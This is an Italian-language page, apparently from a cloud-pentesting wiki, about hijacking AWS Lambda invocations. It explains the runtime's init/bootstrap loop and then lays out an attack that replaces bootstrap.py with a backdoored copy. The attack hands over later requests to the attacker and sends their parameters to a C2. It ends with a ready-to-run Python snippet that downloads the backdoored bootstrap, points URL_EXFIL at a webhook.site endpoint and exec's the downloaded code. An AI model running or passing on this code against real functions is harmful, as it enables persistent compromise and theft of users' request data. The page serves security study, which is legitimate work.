# AWS - Rubare le Richieste Lambda

{{#include ../../../../banners/hacktricks-training.md}}

## Flusso Lambda

<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>

1. **Slicer** è un processo esterno al contenitore che **invia** **invocazioni** al processo **init**.
2. Il processo init ascolta sulla porta **9001** esponendo alcuni endpoint interessanti:
- **`/2018-06-01/runtime/invocation/next`** – ottieni il prossimo evento di invocazione
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – restituisci la risposta del gestore per l'invocazione
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – restituisci un errore di esecuzione
3. **bootstrap.py** ha un ciclo che ottiene le invocazioni dal processo init e chiama il codice dell'utente per gestirle (**`/next`**).
4. Infine, **bootstrap.py** invia al init la **risposta**

Nota che bootstrap carica il codice dell'utente come un modulo, quindi qualsiasi esecuzione di codice effettuata dal codice dell'utente avviene effettivamente in questo processo.

## Rubare le Richieste Lambda

L'obiettivo di questo attacco è far eseguire al codice dell'utente un processo **`bootstrap.py`** malevolo all'interno del processo **`bootstrap.py`** che gestisce la richiesta vulnerabile. In questo modo, il processo **bootstrap malevolo** inizierà a **comunicare con il processo init** per gestire le richieste mentre il bootstrap **legittimo** è **intrappolato** a eseguire quello malevolo, quindi non chiederà richieste al processo init.

Questo è un compito semplice da raggiungere poiché il codice dell'utente viene eseguito dal legittimo processo **`bootstrap.py`**. Quindi l'attaccante potrebbe:

- **Inviare un risultato falso dell'invocazione corrente al processo init**, in modo che init pensi che il processo bootstrap stia aspettando ulteriori invocazioni.
- Deve essere inviata una richiesta a **`/${invoke-id}/response`**
- L'invoke-id può essere ottenuto dallo stack del legittimo processo **`bootstrap.py`** utilizzando il modulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (come [proposto qui](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o semplicemente richiedendolo di nuovo a **`/2018-06-01/runtime/invocation/next`** (come [proposto qui](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Eseguire un **`boostrap.py`** malevolo che gestirà le prossime invocazioni
- Per motivi di furtività, è possibile inviare i parametri delle invocazioni lambda a un C2 controllato dall'attaccante e poi gestire le richieste come al solito.
- Per questo attacco, è sufficiente ottenere il codice originale di **`bootstrap.py`** dal sistema o da [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), aggiungere il codice malevolo ed eseguirlo dall'attuale invocazione lambda.

### Passi dell'Attacco

1. Trovare una vulnerabilità **RCE**.
2. Generare un **bootstrap** **malevolo** (ad es. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
3. **Eseguire** il bootstrap malevolo.

Puoi facilmente eseguire queste azioni eseguendo:
```bash
python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF
```
Per ulteriori informazioni controlla [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)

## Riferimenti

- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)

{{#include ../../../../banners/hacktricks-training.md}}
